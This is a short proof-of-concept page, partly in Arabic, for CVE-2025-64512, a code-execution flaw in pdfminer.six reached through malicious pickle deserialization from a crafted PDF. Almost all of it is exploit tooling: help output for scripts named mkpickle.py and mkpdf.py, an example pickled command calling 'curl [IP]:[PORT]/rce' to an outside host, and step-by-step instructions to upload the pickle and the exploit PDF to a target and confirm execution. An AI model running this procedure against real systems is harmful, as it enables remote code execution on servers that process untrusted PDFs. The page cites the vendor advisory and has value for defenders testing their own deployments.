CVE-2025-64512 تنفيذ تعليمات برمجية عشوائي في pdfminer.six عبر مدخل PDF مُعد (PoC)

استنادًا إلى https://github.com/pdfminer/pdfminer.six/security/advisories/GHSA-wf5f-4jwr-ppcp

% python3 mkpickle.py Usage: mkpickle.py [output] Ex: mkpickle.py 'curl [IP]:[PORT]/rce' evil.pickle.gz

% python3 mkpdf.py -h usage: mkpdf.py [-h] [-o OUTPUT] [-p PATH] [-f] [pickle_name]

Create PDF that triggers pdfminer.six pickle deserialization (CVE-2025-64512)

positional arguments: pickle_name Pickle filename without .pickle.gz (default: evil)

options: -h, --help show this help message and exit -o, --output OUTPUT Output PDF filename (default: exploit.pdf) -p, --path PATH Custom absolute path to pickle (without .pickle.gz) -f, --fuzz Generate PDFs for all common absolute paths

python3 mkpickle.py 'touch /tmp/a' evil.pickle.gz [+] evil.pickle.gz (78 bytes) cmd: touch /tmp/a

(ارفع evil.pickle.gz إلى /var/www/html/files/evil.pickle.gz)

python3 mkpdf.py -o ex-poc.pdf -p '/var/www/html/files' evil [+] ex-poc.pdf -> /var/www/html/files/evil.pickle.gz

(ارفع ex-poc.pdf وانتظر/قم بتشغيل معالجة PDF)

ls -l /tmp/a -rw-r--r-- 1 ... ... 0 Jul 19 12:39 a

CVE-2025-64512

الأكثر شعبية